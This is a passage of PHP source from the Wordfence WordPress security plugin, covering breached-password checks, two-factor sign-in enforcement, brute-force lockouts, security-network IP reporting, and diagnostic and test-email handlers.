and add a space and the code to the end of your password (e.g., wfABCD).', 'wordfence'), array('strong'=>array(), 'code'=>array()))); return self::$authError; } } else { //oops, our API returned an error. $requireAdminTwoFactor = false; //Let them sign in without two factor because the API is broken and we don't want to lock users out of their own systems. } } } catch (Exception $e) { $requireAdminTwoFactor = false; // Couldn't connect to noc1, let them sign in since the password was correct. } } //end: Old method phone authentication } } } else if ($usingBreachedPassword) { if (wfCredentialsController::hasPreviousLoginFromIP($authUser, wfUtils::getIP())) { wfAdminNoticeQueue::removeAdminNotice(false, '2faBreachPassword', array($authUser->ID)); wfAdminNoticeQueue::addAdminNotice(wfAdminNotice::SEVERITY_CRITICAL, sprintf(__('WARNING: Your login has been allowed because you have previously logged in from the same IP, but you will be blocked if your IP changes. The password you are using exists on lists of passwords leaked in data breaches. Attackers use such lists to break into sites and install malicious code. Please change your password. Learn More (' . esc_html__('opens in new tab', 'wordfence') . ')', 'wordfence'), self_admin_url('profile.php'), wfSupportController::esc_supportURL(wfSupportController::ITEM_USING_BREACH_PASSWORD)), 'previousIPBreachPassword', array($authUser->ID)); } else { $username = $authUser->user_login; self::getLog()->logLogin('loginFailValidUsername', 1, $username); $alertCallback = array(new wfBreachLoginAlert($username, wp_lostpassword_url(), wfSupportController::esc_supportURL(wfSupportController::ITEM_USING_BREACH_PASSWORD), wfUtils::getIP()), 'send'); do_action('wordfence_security_event', 'breachLogin', array( 'username' => $username, 'resetPasswordURL' => wp_lostpassword_url(), 'supportURL' => wfSupportController::esc_supportURL(wfSupportController::ITEM_USING_BREACH_PASSWORD), 'ip' => wfUtils::getIP(), ), $alertCallback); remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('breached_password', sprintf( /* translators: 1. Reset password URL. 2. Support URL. */ wp_kses(__('INSECURE PASSWORD: Your login attempt has been blocked because the password you are using exists on lists of passwords leaked in data breaches. Attackers use such lists to break into sites and install malicious code. Please reset your password to reactivate your account. Learn More (opens in new tab)', 'wordfence'), array('strong'=>array(), 'a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array()), 'span'=>array('style'=>array()))), wp_lostpassword_url(), wfSupportController::esc_supportURL(wfSupportController::ITEM_USING_BREACH_PASSWORD))); return self::$authError; } } if ($requireAdminTwoFactor && wfUtils::isAdmin($authUser)) { $username = $authUser->user_login; self::getLog()->logLogin('loginFailValidUsername', 1, $username); wordfence::alert(__("Admin Login Blocked", 'wordfence'), sprintf(/* translators: WordPress username. */__("A user with username \"%s\" who has administrator access tried to sign in to your WordPress site. Access was denied because all administrator accounts are required to have Cellphone Sign-in enabled but this account does not.", 'wordfence'), $username), wfUtils::getIP()); self::$authError = new WP_Error('twofactor_disabled_required', wp_kses(__('Cellphone Sign-in Required: Cellphone Sign-in is required for all administrator accounts. Please contact the site administrator to enable it for your account.', 'wordfence'), array('strong'=>array()))); return self::$authError; } //User is not configured for two factor. Sign in without two factor. } } //End: if ($checkTwoFactor) else if ($usingBreachedPassword) { if (wfCredentialsController::hasPreviousLoginFromIP($authUser, wfUtils::getIP())) { wfAdminNoticeQueue::removeAdminNotice(false, '2faBreachPassword', array($authUser->ID)); wfAdminNoticeQueue::addAdminNotice(wfAdminNotice::SEVERITY_CRITICAL, sprintf(/* translators: 1. Reset password URL. 2. Support URL. */ __('WARNING: Your login has been allowed because you have previously logged in from the same IP, but you will be blocked if your IP changes. The password you are using exists on lists of passwords leaked in data breaches. Attackers use such lists to break into sites and install malicious code. Please change your password. Learn More (' . esc_html__('opens in new tab', 'wordfence') . ')', 'wordfence'), self_admin_url('profile.php'), wfSupportController::esc_supportURL(wfSupportController::ITEM_USING_BREACH_PASSWORD)), 'previousIPBreachPassword', array($authUser->ID)); } else { $username = $authUser->user_login; self::getLog()->logLogin('loginFailValidUsername', 1, $username); $alertCallback = array(new wfBreachLoginAlert($username, wp_lostpassword_url(), wfSupportController::esc_supportURL(wfSupportController::ITEM_USING_BREACH_PASSWORD), wfUtils::getIP()), 'send'); do_action('wordfence_security_event', 'breachLogin', array( 'username' => $username, 'resetPasswordURL' => wp_lostpassword_url(), 'supportURL' => wfSupportController::esc_supportURL(wfSupportController::ITEM_USING_BREACH_PASSWORD), 'ip' => wfUtils::getIP(), ), $alertCallback); remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('breached_password', sprintf( /* translators: 1. Reset password URL. 2. Support URL. */ wp_kses(__('INSECURE PASSWORD: Your login attempt has been blocked because the password you are using exists on lists of passwords leaked in data breaches. Attackers use such lists to break into sites and install malicious code. Please reset your password to reactivate your account. Learn More (opens in new tab)', 'wordfence'), array('strong'=>array(), 'a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array()), 'span'=>array('style'=>array()))), wp_lostpassword_url(), wfSupportController::esc_supportURL(wfSupportController::ITEM_USING_BREACH_PASSWORD))); return self::$authError; } } return self::processBruteForceAttempt($authUser, $username, $passwd); } public static function checkSecurityNetwork($endpointType = null) { if (wfConfig::get('other_WFNet')) { $IP = wfUtils::getIP(); if ($maxBlockTime = self::wfsnIsBlocked($IP, 'brute', $endpointType)) { $secsToGo = ($maxBlockTime ? $maxBlockTime : wfBlock::blockDuration()); $reason = __('Blocked by Wordfence Security Network', 'wordfence'); wfBlock::createWFSN($reason, $IP, $secsToGo, time(), time(), 1); wfActivityReport::logBlockedIP($IP, null, 'brute'); self::getLog()->tagRequestForBlock($reason, true); self::getLog()->getCurrentRequest()->action = 'blocked:wfsn'; self::getLog()->do503($secsToGo, $reason); //exits } } } public static function processBruteForceAttempt($authUser, $username, $passwd) { $IP = wfUtils::getIP(); $secEnabled = wfConfig::get('loginSecurityEnabled'); if (wfBlock::isWhitelisted($IP)) { return $authUser; } $failureErrorCodes = array('invalid_username', 'invalid_email', 'incorrect_password', 'twofactor_invalid', 'authentication_failed', 'wfls_twofactor_invalid', 'wfls_twofactor_failed', 'wfls_twofactor_blocked'); if (is_wp_error($authUser) && in_array($authUser->get_error_code(), $failureErrorCodes)) { self::checkSecurityNetwork(); //May exit } if($secEnabled){ if(is_wp_error($authUser) && ($authUser->get_error_code() == 'invalid_username' || $authUser->get_error_code() == 'invalid_email')){ if($blacklist = wfConfig::get('loginSec_userBlacklist')){ $users = explode("\n", wfUtils::cleanupOneEntryPerLine($blacklist)); foreach($users as $user){ if(strtolower($username) == strtolower($user)){ $secsToGo = wfBlock::blockDuration(); $reason = __('Blocked by login security setting', 'wordfence'); wfBlock::createIP($reason, $IP, $secsToGo, time(), time(), 1, wfBlock::TYPE_IP_AUTOMATIC_TEMPORARY); wfActivityReport::logBlockedIP($IP, null, 'brute'); self::getLog()->tagRequestForBlock($reason); self::getLog()->do503($secsToGo, $reason); //exits } } } if(wfConfig::get('loginSec_lockInvalidUsers')){ if(strlen($username) > 0 && preg_match('/[^\r\s\n\t]+/', $username)){ self::lockOutIP($IP, sprintf(/* translators: WordPress username. */ __("Used an invalid username '%s' to try to sign in", 'wordfence'), $username)); self::getLog()->logLogin('loginFailInvalidUsername', true, $username); } $customText = wpautop(wp_strip_all_tags(wfConfig::get('blockCustomText', ''))); require(dirname(__FILE__) . '/wfLockedOut.php'); } } $tKey = self::getLoginFailureCountTransient($IP); if(is_wp_error($authUser) && in_array($authUser->get_error_code(), $failureErrorCodes)) { $tries = get_transient($tKey); if($tries){ $tries++; } else { $tries = 1; } if($tries >= wfConfig::get('loginSec_maxFailures')){ self::lockOutIP($IP, sprintf( /* translators: 1. Login attempt limit. 2. WordPress username. */ __('Exceeded the maximum number of login failures which is: %1$s. The last username they tried to sign in with was: \'%2$s\'', 'wordfence'), wfConfig::get('loginSec_maxFailures'), $username ) ); $customText = wpautop(wp_strip_all_tags(wfConfig::get('blockCustomText', ''))); require(dirname(__FILE__) . '/wfLockedOut.php'); } set_transient($tKey, $tries, wfConfig::get('loginSec_countFailMins') * 60); } } if(is_wp_error($authUser)){ if($authUser->get_error_code() == 'invalid_username' || $authUser->get_error_code() == 'invalid_email'){ self::getLog()->logLogin('loginFailInvalidUsername', 1, $username); } else { self::getLog()->logLogin('loginFailValidUsername', 1, $username); } } if(is_wp_error($authUser) && ($authUser->get_error_code() == 'invalid_username' || $authUser->get_error_code() == 'invalid_email' || $authUser->get_error_code() == 'incorrect_password') && wfConfig::get('loginSec_maskLoginErrors')){ return new WP_Error( 'incorrect_password', sprintf( /* translators: 1. WordPress username. 2. Reset password URL. */ wp_kses(__( 'ERROR: The username or password you entered is incorrect. Lost your password?', 'wordfence' ), array('strong'=>array(), 'a'=>array('href'=>array(), 'title'=>array()))), $username, wp_lostpassword_url() ) ); } return $authUser; } public static function wfsnBatchReportBlockedAttempts() { if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } $threshold = wfConfig::get('lastBruteForceDataSendTime', 0);; $wfdb = new wfDB(); $table_wfHits = wfDB::networkTable('wfHits'); $rawBlocks = $wfdb->querySelect("SELECT IP, ctime, actionData FROM {$table_wfHits} WHERE ctime > %f AND action = 'blocked:wfsnrepeat' ORDER BY ctime ASC LIMIT 100", sprintf('%.6f', $threshold)); $totalRows = $wfdb->querySingle("SELECT COUNT(*) FROM {$table_wfHits} WHERE ctime > %f AND action = 'blocked:wfsnrepeat'", sprintf('%.6f', $threshold)); $ipCounts = array(); $maxctime = 0; foreach ($rawBlocks as $record) { $maxctime = max($maxctime, $record['ctime']); $endpointType = 0; if (!empty($record['actionData'])) { $actionData = wfRequestModel::unserializeActionData($record['actionData']); if (isset($actionData['type'])) { $endpointType = $actionData['type']; } } if (isset($ipCounts[$record['IP']])) { $ipCounts[$record['IP']] = array(); } if (isset($ipCounts[$record['IP']][$endpointType])) { $ipCounts[$record['IP']][$endpointType]++; } else { $ipCounts[$record['IP']][$endpointType] = 1; } } $toSend = array(); foreach ($ipCounts as $IP => $endpoints) { foreach ($endpoints as $endpointType => $count) { $toSend[] = array('IP' => base64_encode($IP), 'count' => $count, 'blocked' => 1, 'type' => $endpointType); } } try { $response = wp_remote_post(WORDFENCE_HACKATTEMPT_URL_SEC . 'multipleHackAttempts/?k=' . rawurlencode(wfConfig::get('apiKey')) . '&t=brute', array( 'timeout' => 2, 'user-agent' => "Wordfence.com UA " . (defined('WORDFENCE_VERSION') ? WORDFENCE_VERSION : '[Unknown version]'), 'body' => 'IPs=' . rawurlencode(json_encode($toSend)), 'headers' => array('Referer' => false), )); if (!is_wp_error($response)) { if ($totalRows > 100) { self::wfsnScheduleBatchReportBlockedAttempts(); } wfConfig::set('lastBruteForceDataSendTime', $maxctime); } else { self::wfsnScheduleBatchReportBlockedAttempts(); } } catch (Exception $err) { //Do nothing } } private static function wfsnScheduleBatchReportBlockedAttempts($timeToSend = null) { if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } if ($timeToSend === null) { $timeToSend = time() + 30; } $notMainSite = is_multisite() && !is_main_site(); if ($notMainSite) { global $current_site; switch_to_blog($current_site->blog_id); } if (!wp_next_scheduled('wordfence_batchReportBlockedAttempts')) { wp_schedule_single_event($timeToSend, 'wordfence_batchReportBlockedAttempts'); } if ($notMainSite) { restore_current_blog(); } } public static function wfsnReportBlockedAttempt($IP, $type){ if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } self::wfsnScheduleBatchReportBlockedAttempts(); $endpointType = self::wfsnEndpointType(); self::getLog()->getCurrentRequest()->actionData = wfRequestModel::serializeActionData(array('type' => $endpointType)); } public static function wfsnBatchReportFailedAttempts() { if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } $threshold = time(); $wfdb = new wfDB(); $table_wfSNIPCache = wfDB::networkTable('wfSNIPCache'); $rawRecords = $wfdb->querySelect("SELECT id, IP, type, count, 1 AS failed FROM {$table_wfSNIPCache} WHERE count > 0 AND expiration < FROM_UNIXTIME(%d) LIMIT 100", $threshold); $toSend = array(); $toDelete = array(); if (count($rawRecords)) { foreach ($rawRecords as $record) { $toDelete[] = $record['id']; unset($record['id']); $record['IP'] = base64_encode(filter_var($record['IP'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? wfUtils::inet_aton($record['IP']) : wfUtils::inet_pton($record['IP'])); $key = $record['IP'] . $record['type']; //Aggregate multiple records if for some reason there are multiple for an IP/type combination if (!isset($toSend[$key])) { $toSend[$key] = $record; } else { $toSend[$key]['count'] += $record['count']; } } $toSend = array_values($toSend); try { $response = wp_remote_post(WORDFENCE_HACKATTEMPT_URL_SEC . 'multipleHackAttempts/?k=' . rawurlencode(wfConfig::get('apiKey')) . '&t=brute', array( 'timeout' => 2, 'user-agent' => "Wordfence.com UA " . (defined('WORDFENCE_VERSION') ? WORDFENCE_VERSION : '[Unknown version]'), 'body' => 'IPs=' . rawurlencode(json_encode($toSend)), 'headers' => array('Referer' => false), )); if (is_wp_error($response)) { self::wfsnScheduleBatchReportFailedAttempts(); return; } } catch (Exception $err) { //Do nothing } } array_unshift($toDelete, $threshold); $wfdb->queryWriteIgnoreError("DELETE FROM {$table_wfSNIPCache} WHERE (expiration < FROM_UNIXTIME(%d) AND count = 0)" . (count($toDelete) > 1 ? " OR id IN (" . rtrim(str_repeat('%d, ', count($toDelete) - 1), ', ') . ")" : ""), $toDelete); $remainingRows = $wfdb->querySingle("SELECT COUNT(*) FROM {$table_wfSNIPCache}"); if ($remainingRows > 0) { self::wfsnScheduleBatchReportFailedAttempts(); } } private static function wfsnScheduleBatchReportFailedAttempts($timeToSend = null) { if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } if ($timeToSend === null) { $timeToSend = time() + 30; } $notMainSite = is_multisite() && !is_main_site(); if ($notMainSite) { global $current_site; switch_to_blog($current_site->blog_id); } if (!wp_next_scheduled('wordfence_batchReportFailedAttempts')) { wp_schedule_single_event($timeToSend, 'wordfence_batchReportFailedAttempts'); } if ($notMainSite) { restore_current_blog(); } } public static function wfsnIsBlocked($IP, $hitType, $endpointType = null) { if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } $wfdb = new wfDB(); if ($endpointType === null) { $endpointType = self::wfsnEndpointType(); } $table_wfSNIPCache = wfDB::networkTable('wfSNIPCache'); $cachedRecord = $wfdb->querySingleRec("SELECT id, body FROM {$table_wfSNIPCache} WHERE IP = '%s' AND type = %d AND expiration > NOW()", $IP, $endpointType); if (isset($cachedRecord)) { $wfdb->queryWriteIgnoreError("UPDATE {$table_wfSNIPCache} SET count = count + 1 WHERE id = %d", $cachedRecord['id']); if (preg_match('/BLOCKED:(\d+)/', $cachedRecord['body'], $matches) && (!wfBlock::isWhitelisted($IP))) { return $matches[1]; } return false; } $backoff = get_transient('wfsn_backoff'); if ($backoff) { return false; } try { $result = wp_remote_get(WORDFENCE_HACKATTEMPT_URL_SEC . 'hackAttempt/?k=' . rawurlencode(wfConfig::get('apiKey')) . '&IP=' . rawurlencode(filter_var($IP, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? wfUtils::inet_aton($IP) : wfUtils::inet_pton($IP)) . '&t=' . rawurlencode($hitType) . '&type=' . $endpointType, array( 'timeout' => 3, 'user-agent' => "Wordfence.com UA " . (defined('WORDFENCE_VERSION') ? WORDFENCE_VERSION : '[Unknown version]'), 'headers' => array('Referer' => false), )); if (is_wp_error($result)) { set_transient('wfsn_backoff', 1, WORDFENCE_NOC3_FAILED_BACKOFF_TIME); return false; } $wfdb->queryWriteIgnoreError("INSERT INTO {$table_wfSNIPCache} (IP, type, expiration, body) VALUES ('%s', %d, DATE_ADD(NOW(), INTERVAL %d SECOND), '%s')", $IP, $endpointType, 30, $result['body']); self::wfsnScheduleBatchReportFailedAttempts(); if (preg_match('/BLOCKED:(\d+)/', $result['body'], $matches) && (!wfBlock::isWhitelisted($IP))) { return $matches[1]; } return false; } catch (Exception $err) { set_transient('wfsn_backoff', 1, WORDFENCE_NOC3_FAILED_BACKOFF_TIME); return false; } } public static function wfsnEndpointType() { $type = 0; //Unknown if (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) { $type = 2; } else if (defined('DOING_AJAX') && DOING_AJAX) { $type = 3; if (isset($_REQUEST['action']) && ($_REQUEST['action'] == 'wordfence_ls_authenticate' || $_REQUEST['action'] == 'nopriv_wordfence_ls_authenticate')) { $type = 301; } } else if (strpos($_SERVER['REQUEST_URI'], '/wp-login.php') !== false) { $type = 1; } return $type; } public static function logoutAction(){ $userID = self::getLog()->getCurrentRequest()->userID; $userDat = get_user_by('id', $userID); if(is_object($userDat)){ self::getLog()->logLogin('logout', 0, $userDat->user_login); } // Unset the roadblock cookie if (!WFWAF_SUBDIRECTORY_INSTALL) { wfUtils::setcookie(wfWAF::getInstance()->getAuthCookieName(), ' ', time() - (86400 * 365), '/', null, wfUtils::isFullSSL(), true); } } public static function loginInitAction() { $lockout = wfBlock::lockoutForIP(wfUtils::getIP()); if ($lockout !== false) { $lockout->recordBlock(); $customText = wpautop(wp_strip_all_tags(wfConfig::get('blockCustomText', ''))); require(dirname(__FILE__) . '/wfLockedOut.php'); } self::doEarlyAccessLogging(); //Rate limiting } public static function authAction(&$username, &$passwd){ $lockout = wfBlock::lockoutForIP(wfUtils::getIP()); if ($lockout !== false) { $lockout->recordBlock(); $customText = wpautop(wp_strip_all_tags(wfConfig::get('blockCustomText', ''))); require(dirname(__FILE__) . '/wfLockedOut.php'); } if (isset($_POST['wordfence_twoFactorUser'])) { //Final stage of login -- get and verify 2fa code, make sure we load the appropriate user $userID = intval($_POST['wordfence_twoFactorUser']); $twoFactorNonce = preg_replace('/[^a-f0-9]/i', '', $_POST['wordfence_twoFactorNonce']); if (self::verifyTwoFactorIntermediateValues($userID, $twoFactorNonce)) { $user = get_user_by('ID', $userID); $username = $user->user_login; $passwd = $twoFactorNonce; self::$userDat = $user; return; } } if (is_array($username) || is_array($passwd)) { return; } //Intermediate stage of login if(! $username){ return; } $userDat = get_user_by('login', $username); if (!$userDat) { $userDat = get_user_by('email', $username); } self::$userDat = $userDat; if(preg_match(self::$passwordCodePattern, $passwd, $matches)){ $_POST['wordfence_authFactor'] = $matches[1]; $passwd = preg_replace('/^(.+)\s+wf([a-z0-9 ]+)$/i', '$1', $passwd); $_POST['pwd'] = $passwd; } } public static function authUserAction($user, $password) { $lockout = wfBlock::lockoutForIP(wfUtils::getIP()); if ($lockout !== false) { $lockout->recordBlock(); $customText = wpautop(wp_strip_all_tags(wfConfig::get('blockCustomText', ''))); require(dirname(__FILE__) . '/wfLockedOut.php'); } return $user; } public static function getWPFileContent($file, $cType, $cName, $cVersion){ if ($cType == 'plugin') { if (preg_match('#^/?wp-content/plugins/[^/]+/#', $file)) { $file = preg_replace('#^/?wp-content/plugins/[^/]+/#', '', $file); } else { //If user is using non-standard wp-content dir, then use /plugins/ in pattern to figure out what to strip off $file = preg_replace('#^.*[^/]+/plugins/[^/]+/#', '', $file); } } else if ($cType == 'theme') { if (preg_match('#/?wp-content/themes/[^/]+/#', $file)) { $file = preg_replace('#/?wp-content/themes/[^/]+/#', '', $file); } else { $file = preg_replace('#^.*[^/]+/themes/[^/]+/#', '', $file); } } else if ($cType == 'core') { //No special processing } else { return array('errorMsg' => __('An invalid type was specified to get file.', 'wordfence')); } $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); try { $contResult = $api->binCall('get_wp_file_content', array( 'v' => wfUtils::getWPVersion(), 'file' => $file, 'cType' => $cType, 'cName' => $cName, 'cVersion' => $cVersion )); if ($contResult['data']) { return array('fileContent' => $contResult['data']); } throw new Exception(__('We could not fetch a core WordPress file from the Wordfence API.', 'wordfence')); } catch (Exception $e) { return array('errorMsg' => wp_kses($e->getMessage(), array())); } } public static function ajax_sendDiagnostic_callback(){ add_filter('gettext', 'wordfence::_diagnosticsTranslationDisabler', 0, 3); $inEmail = true; $body = "This email is the diagnostic from " . site_url() . ".\nThe IP address that requested this was: " . wfUtils::getIP() . "\nTicket Number/Forum Username: " . $_POST['ticket']; $sendingDiagnosticEmail = true; ob_start(); require(dirname(__FILE__) . '/menu_tools_diagnostic.php'); $body = nl2br($body) . ob_get_clean(); $findReplace = array( '
' => '
', ' '' => '', ' class="wf-result-success"' => ' style="font-weight:bold;color:#008c10;" class="wf-result-success"', ' class="wf-result-error"' => ' style="font-weight:bold;color:#d0514c;" class="wf-result-error"', ' class="wf-result-inactive"' => ' style="font-weight:bold;color:#666666;" class="wf-result-inactive"', ); $body = str_replace(array_keys($findReplace), array_values($findReplace), $body); $result = wfUtils::htmlEmail($_POST['email'], '[Wordfence] Diagnostic results (' . $_POST['ticket'] . ')', $body); if (function_exists('remove_filter')) { remove_filter('gettext', 'wordfence::_diagnosticsTranslationDisabler', 0); } //Remove for consistency. It's okay if it doesn't pre-4.7.0 since the call exits anyway. return compact('result'); } public static function ajax_exportDiagnostics_callback(){ add_filter('gettext', 'wordfence::_diagnosticsTranslationDisabler', 0, 3); $url = site_url(); $url = preg_replace('/^https?:\/\//i', '', $url); $url = preg_replace('/[^a-zA-Z0-9\.]+/', '_', $url); $url = preg_replace('/^_+/', '', $url); $url = preg_replace('/_+$/', '', $url); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="diagnostics_for_' . $url . '.txt"'); echo wfView::create('diagnostics/text', array( 'diagnostic' => new wfDiagnostic, 'plugins' => get_plugins(), )); exit; } public static function _diagnosticsTranslationDisabler($translation, $text, $domain) { return $text; } public static function ajax_sendTestEmail_callback(){ $rawEmails = explode(",", $_POST['email']); $emails = array(); foreach ($rawEmails as $e) { $e = trim($e); if (wfUtils::isValidEmail($e)) { $emails[] = $e; } } $result = false; if (count($emails)) { $result = wp_mail(implode(', ', $emails), __('Wordfence Test Email', 'wordfence'), sprintf(/* translators: 1. Site URL. 2. IP address. */ __("This is a test email from %1\$s.\nThe IP address that requested this was: %2\$s", 'wordfence'), site_url(), wfUtils::getIP())); } $result = $result ? 'True' : 'False'; return array('result' => $result); } public static function ajax_addTwoFactor_callback(){ if(! wfConfig::get('isPaid')){ return array('errorMsg' => __('Cellphone Sign-in is only available to paid members. Click here to upgrade now. (' . esc_html__('opens in new tab', 'wordfence') . ')', 'wordfence')); } $username = sanitize_text_field($_POST['username']); $phone = sanitize_text_field($_POST['phone']); $mode = sanitize_text_field($_POST['mode']); $user = get_user_by('login', $username); if(! $user){ return array('errorMsg' => __("The username you specified does not exist.", 'wordfence')); } $twoFactorUsers = wfConfig::get_ser('twoFactorUsers', array()); if (!is_array($twoFactorUsers)) { $twoFactorUsers = array(); } for ($i = 0; $i < sizeof($twoFactorUsers); $i++) { if ($twoFactorUsers[$i][0] == $user->ID) { return array('errorMsg' => __("The username you specified is already enabled.", 'wordfence')); } } if ($mode != 'phone' && $mode != 'authenticator') { return array('errorMsg' => __("Unknown authentication mode.", 'wordfence')); } if ($mode == 'phone') { if (!preg_match('/^\+\d[\d\-\(\)\s]+$/', $phone)) { return array('errorMsg' => __("The phone number you entered must start with a '+', then country code and then area code and number. For example, a number in the United States with country code '1' would look like this: +1-123-555-1234", 'wordfence')); } $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); try { $codeResult = $api->call('twoFactorTOTP_register', array(), array('phone' => $phone, 'mode' => $mode)); } catch (Exception $e) { return array('errorMsg' => sprintf(__("Could not contact Wordfence servers to generate a verification code: %s", 'wordfence'), wp_kses($e->getMessage(), array()))); } $recoveryCodes = preg_replace('/[^a-f0-9]/i', '', $codeResult['recoveryCodes']); if (isset($codeResult['ok']) && $codeResult['ok']) { $secretID = $codeResult['id']; } else if (isset($codeResult['errorMsg']) && $codeResult['errorMsg']) { return array('errorMsg' => wp_kses($codeResult['errorMsg'], array())); } else { wordfence::status(4, 'info', sprintf(__("Could not generate verification code: %s", 'wordfence'), var_export($codeResult, true))); return array('errorMsg' => __("We could not generate a verification code.", 'wordfence')); } self::twoFactorAdd($user->ID, $phone, '', 'phone', $secretID); return array( 'ok' => 1, 'userID' => $user->ID, 'username' => $username, 'homeurl' => preg_replace('#.*?//#', '', get_home_url()), 'mode' => $mode, 'phone' => $phone, 'recoveryCodes' => $recoveryCodes, ); } else if ($mode == 'authenticator') { $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); try { $codeResult = $api->call('twoFactorTOTP_register', array(), array('mode' => $mode)); } catch (Exception $e) { return array('errorMsg' => sprintf(/* translators: Error message. */ __("Could not contact Wordfence servers to generate a verification code: %s", 'wordfence'), wp_kses($e->getMessage(), array()))); } /* Expected Fields: 'ok' => 1, 'secret' => $secret, 'base32Secret' => $base32Secret, 'recoveryCodes' => $codes, 'uriQueryString' => $uriQueryString, 'id' => $recordID, */ $secret = preg_replace('/[^a-f0-9]/i', '', $codeResult['secret']); $base32Secret = preg_replace('/[^a-z2-7]/i', '', $codeResult['base32Secret']); //Encoded in base32 $recoveryCodes = preg_replace('/[^a-f0-9]/i', '', $codeResult['recoveryCodes']); $uriQueryString = preg_replace('/[^a-z0-9=&]/i', '', $codeResult['uriQueryString']); if (isset($codeResult['ok']) && $codeResult['ok']) { $secretID = $codeResult['id']; } else if (isset($codeResult['errorMsg']) && $codeResult['errorMsg']) { return array('errorMsg' => wp_kses($codeResult['errorMsg'], array())); } else { wordfence::status(4, 'info', sprintf(/* translators: Error message. */ __("Could not generate verification code: %s", 'wordfence'), var_export($codeResult, true))); return array('errorMsg' => __("We could not generate a verification code.", 'wordfence')); } self::twoFactorAdd($user->ID, '', '', 'authenticator', $secretID); return array( 'ok' => 1, 'userID' => $user->ID, 'username' => $username, 'homeurl' => preg_replace('#.*?//#', '', get_home_url()), 'mode' => $mode, 'secret' => $secret, 'base32Secret' => $base32Secret, 'recoveryCodes' => $recoveryCodes, 'uriQueryString' => $uriQueryString, ); } return array('errorMsg' => __("Unknown two-factor authentication mode.", 'wordfence')); } public static function ajax_twoFacActivate_callback() { $userID = sanitize_text_field($_POST['userID']); $code = sanitize_text_field($_POST['code']); $twoFactorUsers = wfConfig::get_ser('twoFactorUsers', array()); if (!is_array($twoFactorUsers)) { $twoFactorUsers = array(); } $found = false; $user = false; for ($i = 0; $i < sizeof($twoFactorUsers); $i++) { if ($twoFactorUsers[$i][0] == $userID) { $mode = 'phone'; if (isset($twoFactorUsers[$i][5]) && $twoFactorUsers[$i][5] == 'authenticator') { $mode = 'authenticator'; } $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); try { $codeResult = $api->call('twoFactorTOTP_verify', array(), array('totpid' => $twoFactorUsers[$i][6], 'code' => $code, 'mode' => $mode)); } catch (Exception $e) { return array('errorMsg' => sprintf(/* translators: Error message. */ __("Could not contact Wordfence servers to generate a verification code: %s", 'wordfence'), wp_kses($e->getMessage(), array()))); } if (isset($codeResult['ok']) && $codeResult['ok']) { $twoFactorUsers[$i][3] = 'activated'; $twoFactorUsers[$i][4] = 0; $found = true; $user = $twoFactorUsers[$i]; break; } else { return array('errorMsg' => __("The code you entered is invalid. Cellphone sign-in will not be enabled for this user until you enter a valid code.", 'wordfence')); } } } if(! $found){ return array('errorMsg' => __("We could not find the user you are trying to activate. They may have been removed from the list of Cellphone Sign-in users. Please reload this page.", 'wordfence')); } wfConfig::set_ser('twoFactorUsers', $twoFactorUsers); $WPuser = get_userdata($userID); if ($mode == 'authenticator') { return array( 'ok' => 1, 'userID' => $userID, 'username' => $WPuser->user_login, 'status' => 'activated', 'mode' => 'authenticator' ); } return array( 'ok' => 1, 'userID' => $userID, 'username' => $WPuser->user_login, 'phone' => $user[1], 'status' => 'activated', 'mode' => 'phone' ); } private static function twoFactorAdd($ID, $phone, $code, $mode, $totpID){ $twoFactorUsers = wfConfig::get_ser('twoFactorUsers', array()); if(! is_array($twoFactorUsers)){ $twoFactorUsers = array(); } for($i = 0; $i < sizeof($twoFactorUsers); $i++){ if($twoFactorUsers[$i][0] == $ID || (! $twoFactorUsers[$i][0]) ){ array_splice($twoFactorUsers, $i, 1); $i--; } } $twoFactorUsers[] = array($ID, $phone, $code /* deprecated parameter */, 'notActivated', time() + (86400 * 30) /* deprecated parameter */, $mode, $totpID); //expiry of code is 30 days in future wfConfig::set_ser('twoFactorUsers', $twoFactorUsers); } public static function ajax_loadTwoFactor_callback() { $users = wfConfig::get_ser('twoFactorUsers', array()); $ret = array(); foreach ($users as $user) { $WPuser = get_userdata($user[0]); if ($user) { if (isset($user[5]) && $user[5] == 'authenticator') { $ret[] = array( 'userID' => $user[0], 'username' => $WPuser->user_login, 'status' => $user[3], 'mode' => 'authenticator' ); } else { $ret[] = array( 'userID' => $user[0], 'username' => $WPuser->user_login, 'phone' => $user[1], 'status' => $user[3], 'mode' => 'phone' ); } } } return array('ok' => 1, 'users' => $ret); } public static function ajax_twoFacDel_callback(){ $ID = $_POST['userID']; $twoFactorUsers = wfConfig::get_ser('twoFactorUsers', array()); if(! is_array($twoFactorUsers)){ $twoFactorUsers = array(); } $deleted = false; for($i = 0; $i < sizeof($twoFactorUsers); $i++){ if($twoFactorUsers[$i][0] == $ID){ array_splice($twoFactorUsers, $i, 1); $deleted = true; $i--; } } wfConfig::set_ser('twoFactorUsers', $twoFactorUsers); if($deleted){ return array('ok' => 1, 'userID' => $ID); } else { return array('errorMsg' => __("That user has already been removed from the list.", 'wordfence')); } } public static function getNextScanStartTimestamp() { $nextTime = false; $cron = _get_cron_array(); foreach($cron as $key => $val){ if(isset($val['wordfence_start_scheduled_scan'])){ $nextTime = $key; break; } } return $nextTime; } public static function getNextScanStartTime($nextTime = null) { if ($nextTime === null) { $nextTime = wfScanner::shared()->nextScheduledScanTime(); } if (!$nextTime) { return __('No scan is scheduled', 'wordfence'); } $difference = $nextTime - time(); if ($difference < 1) { return __("Next scan is starting now", 'wordfence'); } return sprintf(/* 